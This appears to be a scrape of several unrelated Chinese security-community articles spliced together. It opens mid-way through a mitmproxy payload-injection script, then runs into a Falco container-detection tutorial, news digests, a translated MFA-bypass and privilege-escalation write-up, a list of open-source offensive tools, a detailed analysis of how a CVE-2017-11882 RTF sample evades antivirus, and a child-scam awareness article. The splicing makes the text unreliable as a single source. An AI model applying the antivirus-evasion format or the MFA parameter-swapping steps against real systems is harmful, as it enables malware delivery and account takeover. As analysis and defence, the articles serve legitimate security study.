flow.response.content=etree.tostring(oxml)
ctx.log("[+] [MCREGGELI] Payload sent")
except etree.XMLSyntaxError:
ctx.log("[-] [MCREGGELI] XML deserialization error") | 社区文章 |
# K8S Runtime入侵检测之Falco
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
Falco 由 Sysdig 于 2016 年创建，是第一个作为孵化级项目加入 CNCF
的运行时安全项目。Falco可以对Linux系统调用行为进行监控，提供了lkm 内核模块驱动和eBPF
驱动。Falco的主要功能如下：从内核运行时采集Linux系统调用，提供了一套强大的规则引擎，用于对Linux系统调用行为进行监控，当系统调用违反规则时，会触发相应的告警。
安装文档地址如下：
<https://falco.org/docs/getting-started/installation/>
curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list
apt-get update -y
apt-get -y install linux-headers-$(uname -r)
apt-get install -y falco
rpm --import https://falco.org/repo/falcosecurity-3672BA8F.asc
curl -s -o /etc/yum.repos.d/falcosecurity.repo https://falco.org/repo/falcosecurity-rpm.repo
yum -y install kernel-devel-$(uname -r)
yum -y install falco
Falco规则文件是包含三种类型元素的YAML文件：
Rules 、Macros、Lists
Rules就是生成告警的条件以及一下描述性输出字符串。Macros 是可以在规则或者其他宏中重复使用的规则条件片段。Lists 类似Python
列表，定义了一个变量集合。
Falco 使用了Sysdig， 在rule的 condition里面,任何 Sysdig 过滤器都可以在 Falco 中使用。
参考如下：
https://github.com/draios/sysdig/wiki/sysdig-user-guide#filtering
这是一个rule的 condition条件示例，在容器内运行 bash shell 时发出警报：
container.id != host and proc.name = bash
第一个子句检查事件是否发生在容器中（Sysdig
事件有一个container字段，该字段等于”host”事件是否发生在host主机上）。第二个子句检查进程名称是否为bash。
举个完整的列子
- list: my_programs
items: [ls, cat, bash]
- macro: access_file
condition: evt.type=open
- rule: program_accesses_file
desc: track whenever a set of programs opens a file
condition: proc.name in (my_programs) and (access_file)
output: a tracked program opened a file (user=%user.name command=%proc.cmdline file=%fd.name)
priority: INFO
web应用进程java，php，apache，httpd，tomcat 中运行其他进程falco demo，图片来自，字节沙龙
web应用进程java，php，apache，httpd，tomcat 中读取查看敏感文件falco demo，图片来自，字节沙龙
下面，我们修改falco 的配置，/etc/falco/falco.yaml
json_output: true
json_include_output_property: true
http_output:
enabled: true
url: "http://localhost:2801"
启动falco
systemctl enable falco && systemctl start falco
<https://github.com/falcosecurity/falcosidekick.git>
falcosidekick 是一个管道工具，接受 Falco的事件并将它们发送到不同的持久化工具中。我们使用falcosidekick把falco post
过来的数据写入es ，也可以写入kafka。我们也读取kafka里面的东西完成告警， 也可以用 Prometheus 和falco-exporter
完成告警。如下图。
elasticsearch:
hostport: "http://10.10.116.177:9200"
index: "falco"
type: "event"
minimumpriority: ""
suffix: "daily"
mutualtls: false
checkcert: true
username: ""
password: ""
kafka:
hostport: ""
topic: ""
# minimumpriority: "debug"
## 批量部署&更新规则
我们在生产环境中需要批量部署和更新规则需求，所以我们可以使用saltstack 或者 ansible 下发对应shell脚本来完成我们的需求。
批量部署
#!/bin/bash
if [ -n "$(uname -a | grep Ubuntu)" ]; then # 按实际情况修改
curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list
apt-get update -y
apt-get install -y falco
else
rpm --import https://falco.org/repo/falcosecurity-3672BA8F.asc
curl -s -o /etc/yum.repos.d/falcosecurity.repo https://falco.org/repo/falcosecurity-rpm.repo
yum -y install falco
fi
systemctl enable falco && systemctl start falco
批量更新规则
#!/bin/bash
BDATE=`date +%Y%m%d%H%M%S`
URL=http://8.8.8.8:8888/falco_update.tar.gz
if [ -d /etc/falco_bak ]
then
cp -r /etc/falco /etc/falco_bak/${BDATE}
rm -rf /etc/falco_bak/falco_update.tar.gz
else
mkdir /etc/falco_bak
cp -r /etc/falco /etc/falco_bak/${BDATE}
fi
curl -o /etc/falco_bak/falco_update.tar.gz ${URL} && rm -rf /etc/falco
tar -xzvf /etc/falco_bak/falco_update.tar.gz -C /etc && systemctl restart falco
把规则falco_update.tar.gz，提前准备好，使用saltstack 推下去即可.saltstack demo 如下：
[root@localhost ~]$ cat /srv/salt/top.sls
base:
'*':
- exec_shell_install
[root@localhost ~]$ cat /srv/salt/exec_shell_install.sls
exec_shell_install:
cmd.script:
- source: salt://falco_install.sh
- user: root
[root@localhost ~]$ salt '*' state.highstate
也可以使用ansible 推下去即可.ansible demo 如下：
[root@server81 work]# ansible servers -m shell -a "mkdir -p /var/falco_sh"
[root@server81 ansible]# ansible servers -m copy -a "src=/root/ansible/falco_install.sh dest=/var/falco_sh/falco_install.sh mode=0755"
172.16.5.193 | CHANGED => {
[root@server81 ansible]# ansible servers -m shell -a "/var/falco_sh/falco_install.sh"
172.16.5.193 | CHANGED | rc=0 >>
## 可视化
Kibana是一个开源的分析与可视化平台，设计出来用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是各种不同的图表、表格、地图等，直观的展示数据，从而达到高级的数据分析与可视化的目的。
Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈，可以说这三个技术的组合是大数据领域中一个很巧妙的设计。一种很典型的MVC思想，模型持久层，视图层和控制层。Logstash担任控制层的角色，负责搜集和过滤数据。Elasticsearch担任数据持久层的角色，负责储存数据。而我们这章的主题Kibana担任视图层角色，拥有各种维度的查询和分析，并使用图形化的界面展示存放在Elasticsearch中的数据。
因为我们使用了， es 推荐使用kibana 做一下可视化， 也可以使用grafana 做可视化。demo 如下图： | 社区文章 |
# 1月27日安全热点 - 一周勒索软件回顾
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Ransomware的一周 – 2018年1月26日 – SamSam＆Hack攻击
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-26th-2018-samsam-and-hack-attacks/
通过键盘记录器黑客入侵了超过2000个WordPress网站
<https://www.bleepingcomputer.com/news/security/keylogger-campaign-hits-over-2-000-wordpress-sites/>
联想修复了影响THINKPAD指纹扫描仪的硬编码密码漏洞
<https://threatpost.com/lenovo-fixes-hardcoded-password-flaw-impacting-thinkpad-fingerprint-scanners/129680/>
不安全的VR应用程序暴露客户数据
<https://blog.malwarebytes.com/cybercrime/2018/01/insecure-vr-app-exposes-customer-data/>
加密货币矿工在YouTube上投放广告并耗尽您的CPU
> [YouTube Serves Ads With Cryptocurrency
> Miners](https://www.inquisitr.com/4756569/youtube-serves-ads-with-> cryptocurrency-miners/#utm_source=embedded-> content&utm_medium=web&utm_campaign=oembed-link)
## 技术类
网络犯罪的策略和技巧：2017恶意软件回顾
https://www.malwarebytes.com/pdf/white-papers/CTNT-Q4-17.pdf
卡巴斯基对使用 DNS 隧道通信的后门的分析报告
> [Denis and Co.](https://securelist.com/denis-and-company/83671/)
实践：UEBA视角下的威胁情报聚类与攻击者分析
https://mp.weixin.qq.com/s/bm8jK8mLsYkWNH_fwIcPAg
Electron 自定义协议命令注入（CVE-2018-1000006）分析
<https://paper.seebug.org/515/>
<http://www.91ri.org/17541.html>
HTTP头注入
https://medium.com/bread-and-circuses/http-header-injection-for-fun-and-zero-profit-63fa9ff64310
使用本地方法调试Android第三方Java应用程序
https://kov4l3nko.github.io/blog/2018-01-25-debugging-mixed-android-code/
保护全球范围内的加密流量
https://blogs.cisco.com/security/securing-encrypted-traffic-on-worldwide-scale
一次在 Sandstorm 跳脫沙箱的渗透测试
https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en/
1-Day 浏览器和内核开发
http://powerofcommunity.net/poc2017/andrew.pdf
OilRig利用RGDoor IIS后门攻击中东国家
> [OilRig uses RGDoor IIS Backdoor on Targets in the Middle
> East](https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-> uses-rgdoor-iis-backdoor-targets-middle-east/)
华硕DSL-N14U B1路由器1.1.2.3_345更改管理员密码
<https://cxsecurity.com/issue/WLB-2018010289> | 社区文章 |
# 4月8日热点 - 伊朗和俄罗斯网络使用思科的CVE-2018-0171漏洞进行攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
伊朗和俄罗斯网络使用思科的CVE-2018-0171漏洞进行攻击
<https://www.bleepingcomputer.com/news/security/iranian-and-russian-networks-attacked-using-ciscos-cve-2018-0171-vulnerability/>
通过黑客远程桌面服务安装的新Matrix Matrix Ransomware变体
[ https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/](https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/)
因窃取了Sun和Oracle固件补丁，某团队CEO、COO被判刑
[ https://www.secrss.com/articles/1871](https://www.secrss.com/articles/1871)
## 技术类
spring-messaging远程代码执行漏洞(CVE-2018-1270)分析
[ https://xz.aliyun.com/t/2252](https://xz.aliyun.com/t/2252)
Ruby的FTP实现中的漏洞(CVE-2017-17405)
[ https://blog.heroku.com/identifying-ruby-ftp-cve](https://blog.heroku.com/identifying-ruby-ftp-cve)
Deep Exploit：结合机器学习的全自动渗透测试工具
[ https://securityonline.info/deep-exploit/](https://securityonline.info/deep-exploit/)
新的ATMJackpot恶意软件盗取ATM机现金
[ https://www.hackread.com/atmjackpot-malware-stealing-cash-from-atms/](https://www.hackread.com/atmjackpot-malware-stealing-cash-from-atms/)
Django框架漏洞利用
<https://cxsecurity.com/issue/WLB-2018040054>
LineageOS 14.1 Blueborne RCE
[
https://cxsecurity.com/issue/WLB-2018040051](https://cxsecurity.com/issue/WLB-2018040051) | 社区文章 |
原文：
<https://laconicwolf.com/2018/09/21/mfa-bypass-and-privilege-escalation/>
本文主要讲解两个MFA(多因素验证)应用在web应用程序中部署实现时存在的问题。MFA的确是非常好的，我非常支持它，但在很多应用系统中，第二个因素的验证与第一个因素无关，这导致了可以将帐户“A”的用户名/密码与账号“B”的第二个因素混合。在第一个MFA应用中，导致可以绕过第二个因素。在第二个MFA应用中，导致了权限提升。
1. 应用一 Okta：第二个因素绕过，没有帐户锁定
该系统允许自行注册，并使用Okta强制执行身份验证。你可能不知道Okta是什么，它就是一个身份和访问管理解决方案，可以集成到你的应用程序中，以提供集中管理和单点登录。在进一步讲解之前，我想提一下，我无法在.okta.com这个域上复现这一点，也就是绕过第二个因素，所以我认为Okta是没有任何问题的，问题出在我要测试的这个特定的应用程序上，它采用Okta验证的实现方式有问题。
我们先来走一遍该系统的正常身份验证流程，然后再来讨论这些漏洞。
**正常身份验证流程**
使用用户名和密码登录，如图：
服务器检查用户名/密码是否正确，返回第二个因素要提交的必要数据，这些数据具体来说就是状态令牌，oktaUserId和factorId：
在上述响应之后，将自动提交一个请求以启动第二个因素的SMS通知，然后你会看到如下的提示：
提交第二个因素并确认后，会自动发起第二个身份验证请求，如图：
服务器验证你的凭证，如果凭证有效，会返回JWT（json web token）响应，这样你就可以访问应用程序了。
**漏洞**
使用MFA的应用对无效的用户名/密码的不断尝试并没有严格的账户锁定策略。这个应用只是通过JavaScript向你显示锁定警告，但在服务器后端却没有进行逻辑验证，刷新页面后，锁定警告就消失了。我将身份验证请求发送到repeater中，并且在进行正确的身份验证之前故意多次尝试错误的用户密码，发现并没有锁定账户。
没有账号锁定就太好了，不过，即使我们可以暴力破解出密码，我们仍然要考虑第二个因素。幸运的是，该应用对MFA和身份验证请求是独立验证的。
于是我就执行了下列操作：
没有帐户锁定，我能够暴力破解出另一个用户的密码。我已经在该系统上有一个有效的帐户（可以自行注册），所以我用初始用户名/密码进行登录（服务器返回了stateToken和factorId），提交了SMS
MFA码，然后拦截第二个用户名/密码身份验证请求，进行暴力破解得到正确的用户和密码，替换掉我的用户名和密码 ，如图：
然后，服务器返回了一个JWT响应，这样我就能够以第二个用户的身份访问应用了，如图：
1. 应用二 Symantec VIP：提权到任意用户
这个漏洞更严重。该应用没有自行注册功能，但我和团队每个人都有两个帐户（一个普通用户，一个管理员）进行测试。该系统使用Symantec
VIP验证第二个因素。同样，使用Symantec
VIP本身没有任何问题，但在这个案例中，实现方式是有问题的。我们先还是来走一遍正常的验证流程，然后再来讨论其中的问题。
**正常身份验证流程**
使用用户名和密码登录，如图：
服务器检查用户名和密码，返回提交和验证第二个因素所必需的数据，也就是hidUserId和hidMfaId，它们只不过是一个防篡改的查询字符串值，实际上是一个带有签名的参数，用base64编码。防篡改查询字符串的值如下所示：
Mjc3OA == - 5CBeGaUhkiA =
' - '的左侧解码为2778，' -'的右侧是签名，但即使我想更改该值并重新编码，签名也不正确，我会得到一个错误。hidUserId只是一个数字，而hidMfaId只是用户名，但两者都使用防篡改查询字符串进行编码。
使用用户名密码登录后，hidUserId和hidMdaId值存在于响应包中，然后进入到下一步，需要我进行第二个因素验证，如图：
security code(安全码)与hidUserId和hidMfaId一起提交，如果安全码正确，则授予访问权限，如图：
**漏洞**
与第一个系统类似，此应用程序将MFA作为两个独立的步骤来处理。第一个请求验证用户名/密码并返回了防篡改的hidUserId和hidMfaId，第二个请求验证了安全码。我注意到这个应用程序的问题是，当提交安全码时，hidUserId也会被提交。我开始琢磨我是否可以替换为另一个有效的hidUserId并冒充该用户。不过，这里有个问题，就是hidUserId是一个防篡改的字符串，我无法获取到或也无法猜到它的值。
凑巧的是，这个应用程序还有另一个漏洞，让我能够获得该值。
下面就是我所操作的：
如果我使用一个有效用户名和无效密码进行登录，那么应用程序就不会返回hidUserId，但是状态会改变，当我再次尝试登录时（使用相同的有效用户名和无效密码），hidUserId将会动态生成并且在请求中提交。有了这个漏洞，我就能得到任何用户的hidUserId，所以我选择了一个管理员账户，如图：
现在测试是否可以在普通用户的有效身份验证请求中替换成admin用户的hidUserId。所以我再次使用我的普通用户帐户pentest_jake，并使用用户名和密码登录，如图：
然后我提交了我的安全码并拦截请求，用管理员帐户UserId替换了我的hidUserId值，如图：
这样，我就以admin用户登成功录到应用了，如图：
最后，我重申一下，我绝对支持MFA，但实现起来可能会出现问题，而且这些问题非常常见。 | 社区文章 |
**作者：知道创宇404实验室
时间：2021年7月2日**
The 404 Starlink Project was started by Knownsec 404Team in 2020. We aim to
denfend network and promote the Instrumentalizing of security research in
different fields through open source or open methods. Just like Starlink, this
project will link researchers with different security background.
Not only large tools which break security barriers，various small tools that
optimizing the daily experience are included. We will open all tools developed
by 404 Team, and continue to collect pain points in the process of security
research and penetration testing. The security field used to have various
problems, like tools jumbled, different levels obvious, and open source be
unmaintained. Through the 404 Starlink Project, we wish security field would
become a better place where people like to communicate and progress together.
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
2020年11月，知道创宇404实验室正式推出星链计划2.0。通过星链计划核心社群成员作为核心，筛选 **优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向。代号
**Galaxy** 。
同时，真正优质的开源项目将会优先推荐KCON 2021兵器谱，在KCON
2021上获得专属的曝光机会。404实验室也会为优秀的个人开源维护者提供知道创宇的优先内推绿色通道，星链计划的核心成员群也会不定期送出礼品。
星链计划2.0会将开源项目按照两个核心项作为主要指标：
* 成熟、有意义的开源项目 Open-Projects
* 有新意、解决痛点的开源项目 Fun-tools
入选星链计划2.0的项目至少需要满足以下四个要求：
* 安全相关的各个环节以及链路
* 开源
* 坚持维护
* 通过由404实验室以及星链计划核心成员组成的审阅组审阅
入选项目将由代码质量、技术难度、新颖度等多个维度评价打分(满分5星)，是否坚持维护将作为最重要的评价标准。入选Open-Projects的项目不得超过1年未更新，且超过6个月未更新的项目只能获得上限为4星的评价。入选Fun-Tools分类的开源项目由星链计划2.0核心社群成员判定当前的维护状态，被判定为未维护的项目将会被从星链计划中去除。
参与星链计划2.0的开源项目可以借由星链计划社群与开发者直接沟通，真正将研究人员和开发人员连在一起。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
# Rules
* Positivity: 积极度，工具正处于积极维护期的项目将被标记为In，工具正出于弱维护期的项目将被标记为TBD，工具已经不再维护的的项目将被标记为OUT.
* Score: Open-Projects的评分上限为5星，Fun-tools的评分上限为4星.
## 星链计划2.0
* [Platypus](https://github.com/WangYihang/Platypus)
*
* Platypus 是一个基于终端与 Web UI 交互式的反弹 Shell 会话管理工具
* [Stowaway](https://github.com/ph4ntonn/Stowaway)
*
* Stowaway 是一款多级代理工具，可将外部流量通过多个节点代理至内网，突破内网访问限制
* [MDUT](https://github.com/SafeGroceryStore/MDUT)
*
* MDUT 全称 Multiple Database Utilization Tools，旨在将常见的数据库利用手段集合在一个程序中，打破各种数据库利用工具需要各种环境导致使用相当不便的隔阂。
* [OpenStar](https://github.com/starjun/openstar)
*
* OpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写
* [Pocassist](https://github.com/jweny/pocassist)
*
* Pocassist 是一个 Golang 编写的全新开源漏洞测试框架，帮助安全人员专注于漏洞验证的逻辑的实现
# Details
## [Platypus](https://github.com/WangYihang/Platypus)
##### 项目链接：
<https://github.com/WangYihang/Platypus>
##### 项目简述：
Platypus 是一个基于终端与 Web UI 交互式的反弹 Shell 会话管理工具
在实际的渗透测试中，为了解决 Netcat/Socat
等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能，可以更方便灵活地对反弹 Shell 会话进行管理。
##### 推荐评语：
在渗透测试中，使用 Platypus 来帮助你统一、便捷地管理多个会话，除此之外Platypus 还提供了 web 图形化界面。
## [Stowaway](https://github.com/ph4ntonn/Stowaway)
##### 项目链接：
<https://github.com/ph4ntonn/Stowaway>
##### 项目简述：
Stowaway 是一款多级代理工具，可将外部流量通过多个节点代理至内网，突破内网访问限制
Stowaway 可以方便渗透测试人员通过多级跳跃，从外部dmz等一系列区域逐步深入核心网络；Stowaway
除了流量转发功能，还提供了端口复用、ssh隧道，流量伪装等专为渗透测试人员所用的功能。
##### 推荐评语：
还在为复杂的内网出网而苦恼吗？Stowaway 可以帮助你创建一条顺畅稳定的通信链路。
## [MDUT](https://github.com/SafeGroceryStore/MDUT)
##### 项目链接：
<https://github.com/SafeGroceryStore/MDUT>
##### 项目简述：
MDUT 全称 Multiple Database Utilization
Tools，旨在将常见的数据库利用手段集合在一个程序中，打破各种数据库利用工具需要各种环境导致使用相当不便的隔阂；MDUT 使用 Java
开发，支持跨平台使用。
##### 推荐评语：
不同数据库的所需环境和利用方式不同？不用担心，MDUT 已经为你准备好了。
## [OpenStar](https://github.com/starjun/openstar)
##### 项目链接：
<https://github.com/starjun/openstar>
##### 项目简述：
OpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP
黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。
##### 推荐评语：
通过 OpenStar 简洁的配置文件可定制化配置一台支持复杂规则的 Web 应用防火墙
## [Pocassist](https://github.com/jweny/pocassist)
##### 项目链接：
<https://github.com/jweny/pocassist>
##### 项目简述：
Pocassist 是一个 Golang 编写的全新开源漏洞测试框架，帮助安全人员专注于漏洞验证的逻辑的实现。
Pocassist 提供了简洁的 Web 图形化界面，用户可以在线编辑漏洞验证程序即可进行批量的测试；规则完全兼容 xray，可以直接使用现有开源的 PoC
库，同时也支持添加自定义规则。
##### 推荐评语：
一套可视化的漏洞测试框架可以极大的提高渗透测试工作效率
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以向github提交issue, 也可以添加下方的讨论组中参与讨论。
1、Github issue: <https://github.com/knownsec/404StarLink2.0-Galaxy/issues>
2、微信群添加方式： 扫描下方二维码添加工作人员个人微信，并备注星链计划，会把大家拉到星链计划交流群中
* * * | 社区文章 |
作者：360威胁情报中心
公众号：[360威胁情报中心](https://mp.weixin.qq.com/s/lV_WYw2hxoNQz7NXgHtVtw "360威胁情报中心")
### 背景
2018年8月24日，360威胁情报中心捕获到一个专门为 **乌克兰语**
使用者设计的钓鱼文档：该文档为RTF文件格式，且有详细的文档内容。360威胁情报中心经过分析确认这是
**首次发现的针对Office公式编辑器特殊处理逻辑** 而专门设计的用于绕过杀毒软件查杀的漏洞利用样本，涉及的漏洞正是CVE-2017-11882。
由于漏洞触发后的Payload已失效，360威胁情报中心在本文中专门针对样本使用的特殊免杀技术进行详细分析，并提醒各杀毒软件厂商做好针对该利用方式的检测。由于该免杀技术已经出现在在野利用的样本中，后续可能会有大量实际攻击样本使用该免杀手段逃过杀软检测，形成新的威胁。
文档内容
Google内容翻译
### 免杀效果及样本特点
##### 免杀效果
捕获到的样本在VirusTotal上查杀效果如下，首次上传时仅有4家杀软可以查杀，且仅有两家杀软能正确识别漏洞，如果稍加改动几乎可以躲过所有杀软的查杀：
##### 样本特点-特殊的公式对象OLE
捕获到的特殊样本在RTF控制字“\objdata”的header后面居然不是一个Compound File Binary
Format（复合二进制文档）流，其紧跟的直接就是公式对象的数据（MTEF data）， **甚至连公式对象的头部数据（Equation Native
Header）都没有：**
而这样一个“畸形”的CVE-2017-11882漏洞利用文档，竟然能成功触发漏洞利用。
我们先复习一下正常的RTF文档中利用Office公式编辑器漏洞的方式，以CVE-2017-11882为例：
首先，RTF文档中会被插入一个objdata，紧跟在RTF控制字“\objdata”后，随后的数据结构为4字节的版本标识、format_id（embed代表嵌入式）、OLE流名字（Equation.3）等等：
Header：
01050000 // version
02000000 // format_id (embed)
0b000000
4571756174696f6e2e3300 // "Equation.3" could be anything
0000000000000000
410f0000 // data length
在“\objdata”的header后紧跟OLE对象流，可以看到其特殊的Compound File Binary Format（复合二进制文档）标识：D0
CF 11 E0 …
紧跟的OLE对象流是一个复合二进制文件（Compound File Binary Format），通过解析可以看到这是一个Office
公式3.0编辑器对象，Root Entry带有一个公式编辑器的CLSID {0002CE02-0000-0000-C000-000000000046}：
包含的Office 公式3.0编辑器对象由公式头+公式数据组成：
360威胁情报中心针对该特殊的漏洞利用技术进行了详细分析，整个分析过程如下。
##### Office处理RTF中\objdata对象的流程
带着Office为什么可以正确处理嵌入的非OLE对象（ **且该对象是一个没有公式头的公式对象**
）这一疑问，我们详细分析了Office处理RTF文档中嵌入的\objdata对象的过程，整个处理过程可以用以下流程图表示：
从整个流程来看，当WINWORD.EXE加载RTF文件并解析RTF文件格式后会调用函数`ole32!OleConvertOLESTREAMToIStorage`将指定的对象从OLE
1存储模型转换为OLE
2结构化存储对象。其内部调用的`ole32!wConvertOLESTREAMTOIStorage`负责从RTF文件中解析、转换OLE 1对象到OLE
2存储对象，最后`ole32! GenericObjectToIStorage`函数负责将OLE
2存储对象通过剪切板的方式传送给EquEdt32.exe进程处理：
首先ole32!wConvertOLESTREAMTOIStorage函数将具体事务交给Ole32! OLESTREAMToGenericObject：
`Ole32! OLESTREAMToGenericObject`函数会完成OLE
1对象读取及转换，内部会调用OLE1StreamToUL和OLE1StmToString（内部也调用OLE1StreamToUL函数）读取OLE1对象Version、format_id、Class
Name(Prog ID)、static object、linked nor an
embedde、topic、Item、NativeData等信息，也就是处理\objdata的header部分：
同样可以通过oletools的rtfobj工具查看对应的\objdata得到相同信息：
进一步会判断`format_id`是否为`FMTID_EMBED`（linked nor
embedde），然后调用wCLSIDFromOle1Class函数读取Ole1对象的CLSID：
wCLSIDFromOle1Class函数判断传入的szProgID是否是名字为“OLE2Link”的对象，如果是则返回`CLSID_StdOleLink`，否则交给代理函数CLSIDFromOle1Class转换Ole1的流名字到对应的CLSID（也就是转换流名称Equation.3到对应的clsid）：
CLSIDFromOle1Class交给代理函数wCLSIDFromOle1Class处理：
wCLSIDFromOle1Class函数将打开注册表`HKEY_CLASSES_ROOT\[szProgID]`（此处为HKEY_CLASSES_ROOT\Equation.3）查询其CLSID，如果查询成功则调用wGUIDFromString函数得到GUID返回：
如果通过流名称查询不到CLSID则调用`Ole10_CLSIDFromString`函数遍历OLE32中内置的Object名称，发现相同则返回其CLSID：
ole32! GenericObjectToIStorage函数根据返回的CLSID注册剪切板，并把OLE 2数据写入剪切板：
随后WINWORD.EXE会调用ole32!Load函数加载该CLSID对应的对象，最终定位到函数`ole32!CoIsOle1Class`，该函数判断CLSID是不是有效的Ole1Class对象，不是有效的Ole1Class对象则直接返回，是有效的Ole1Class对象则调用接口处理剪切板数据，以下是加载处理公式对象的过程：
**特别注意的是，WINWORD.EXE在调用ole32!OleLoad函数前，会解析CFB文件将CFB文件的流对象写入剪切板并且将Embedded对象数据块（即d0cf11e0a1b11ae10对应的块）的Clsid值覆盖之前通过ProgID获取的Clsid，也就是最终以Embedded对象数据块内的clsid为准：**
##### 公式编辑器（Equation）处理公式数据的特殊逻辑
最后，Office将公式对象数据传递给Equation处理：
EquEdt32.exe进程能够处理两种流，分别是Equation Native和01Ole10Native流，Equation
Native是较为常见的流格式，一般以0x1C开头。 **而01Ole10Native流在EquEdt32.exe打开Equation
Native流失败的情况下才使用：**
随后会根据打开的流读取流内容， 如果是01Ole10Native流则先读取4字节流大小，如果不是则读取0x1C字节大小的Equation
Native头，然后才从Equation Native头解析流01Ole10Native大小，最后分配内存用于读取01Ole10Native流数据：
**可以看到，本次捕获到的免杀样本在处理过程中，由于读取Equation
Native失败，所以Equation通过读取01Ole10Native流大小来直接处理后面附加的公式数据（03010103…）：**
随后再次调用`IStream::Read(coml2!CExposedStream::Read)`函数读取流数据：
最后将流数据传入sub_42F8FF函数实现具体01Ole10Native流处理，最终成功触发漏洞：
### 总结免杀原理
我们回顾Office处理RTF中\objdata对象的流程可以总结出该免杀样本触发Equation漏洞的过程：
1. 攻击者在\objdata后附带非CFB格式的数据（只有公式数据的01Ole10Native流），迫使Office通过\objdata header中的流名字（Equation.3）来查找对应处理的clsid，转入处理流程。
2. 由于附带的是公式对象的01Ole10Native流（030101…部分数据），所以EquEdt32.exe进程打开Equation Native流失败，转而以\objdata header中指定的数据长度直接处理01Ole10Native流，触发漏洞利用。
由于该免杀样本\objdata后附带非CFB格式的数据（D0 CF
11…），而正常情况必然是携带的CFB数据，并且以CFB数据中获取的clsid为准寻找处理该对象的程序（如Equation），这直接导致绕过大部分杀软的检测逻辑。并且后续的公式数据没有公式对象头等特征，也使得部分杀软抓瞎，这是该样本绕过杀软检测的主要原因。
### IOC
MD5
0a8efb742ef488bcb8ccd6b616125eea
### 参考
[1].<https://ti.360.net>
[2].<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11882>
[3].<https://github.com/Paolo-Maffei/OpenNT/blob/5c5b979ec08c17d3ca2eb70e8aad62d26515d01c/com/ole32/ole232/ole1/ostm2stg.cpp>
* * * | 社区文章 |
# 骗子“手把手”教孩子转走父母17万！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在短视频平台刷到 **“置顶抽皮肤”？**
要当心，这可能是一场以青少年为“猎物”的网络诈骗。近期，有多名家长反映，孩子在短视频平台看到免费领取游戏皮肤的视频后，被骗子“手把手”带入了一场“掏空父母钱包”的骗局，其中被骗金额最多的达17万。根据家长的描述，这类骗局就是为熊孩子们“量身定制”的，骗子们使用美女头像，自称“姐姐”，叫孩子“宝宝”，不仅诱导孩子刷光父母银行卡里的钱，还给父母开通了花呗，让人防不胜防。
## 游戏皮肤的危险诱惑
“13、14岁的初中生，爱玩和平精英，喜欢在抖音上看游戏相关的短视频”是被骗孩子的共同特征。抖音“置顶抽皮肤”的视频下面，有多名用户评论称“我竟然抽到了黄金玛莎拉蒂”、“我收到特斯拉了哦”，让孩子信以为真。
图片来自网络
其实，点开这些评论者的账号，里面发布的同样是“置顶抽皮肤”的短视频。换句话说，他们都是托儿。
图片来自网络
扫描视频末尾的二维码，点击网页里的“立即抽奖”，系统即显示获得平精英皮肤，想要领取则需要扫码加入群聊。
图片来自网络
进群后，“客服”要求孩子填写“抽中”的皮肤名称和实际年龄，并强调“虚报年龄的无法领取”。随后“客服”表示“由于未成年无法激活，必须使用成年人微信辅助激活，激活成功皮肤即可到账”，要求孩子用家长的微信扫码，扫码即显示成功绑定了信用卡，孩子点击支付再点击信用卡，
**整个过程，相当于用家长的钱帮不法分子还了信用卡。**
图片来自网络
“客服”要求孩子加另一个QQ账号为好友，还提出要开视频指导，发来的“视频操作教程”演示了支付的全过程。视频中称，需验证才能领取皮肤，推荐使用微信支付，支持信用卡付款，扫描虚拟二维码不扣费，接着在消费金额一栏输入“代码”即可领取成功。每个皮肤的领取代码不一样，需要咨询客服。
**实际上，客服口中所谓的“代码”就是实际的付款金额。**
图片来自网络
发完这个视频后，客服称这个号没有名额了，又要求孩子加第三个QQ号。在这个QQ号上，孩子听从“客服”指令输入金额——输入密码，家长的钱被一笔笔转走。
图片来自网络
期间“客服”还会指导孩子用爸妈生日尝试密码，更可怕的是，如果孩子本身就见过父母输密码，还暗自记住了密码，诈骗过程就更顺利了。
## 诈骗手法解析
## 安全课堂
1. 手机支付密码、银行卡密码要定期更换，尽量不要把生日等作为密码，容易被不法分子轻易破解。
2. 不要轻易相信“免费送”，遇到要求转账的情况，及时和身边亲戚朋友商量，防止被骗。
3. 短视频平台上仍存在通过评论引流、通过其他平台诈骗的行为，尤其是冲浪的未成年人一定要警惕。 | 社区文章 |
